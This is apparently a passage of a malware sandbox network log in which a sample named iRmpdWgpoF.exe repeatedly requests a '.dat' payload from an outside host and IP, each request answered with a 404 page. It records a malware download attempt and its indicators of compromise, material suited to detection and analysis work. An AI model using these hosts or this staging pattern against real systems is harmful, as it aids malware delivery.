2025-01-10 21:38:07 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49795	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:08 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:08 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:08 GMT vary: User-Agent
2025-01-10 21:38:08 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49796	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:09 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:09 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:09 GMT vary: User-Agent
2025-01-10 21:38:09 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49797	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:10 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:10 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:10 GMT vary: User-Agent
2025-01-10 21:38:10 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49800	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:10 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:11 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:11 GMT vary: User-Agent
2025-01-10 21:38:11 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49801	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:11 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:12 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:11 GMT vary: User-Agent
2025-01-10 21:38:12 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49807	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:12 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:12 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:12 GMT vary: User-Agent
2025-01-10 21:38:12 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49818	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:13 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:13 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:13 GMT vary: User-Agent
2025-01-10 21:38:13 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49824	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:14 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:14 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:14 GMT vary: User-Agent
2025-01-10 21:38:14 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49830	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:15 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:15 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:15 GMT vary: User-Agent
2025-01-10 21:38:15 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49836	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:16 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:16 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:16 GMT vary: User-Agent
2025-01-10 21:38:16 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49842	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:17 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:17 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:17 GMT vary: User-Agent
2025-01-10 21:38:17 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49848	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:17 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:18 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:18 GMT vary: User-Agent
2025-01-10 21:38:18 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49858	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:18 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:19 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:19 GMT vary: User-Agent
2025-01-10 21:38:19 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49865	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:19 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:20 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:19 GMT vary: User-Agent
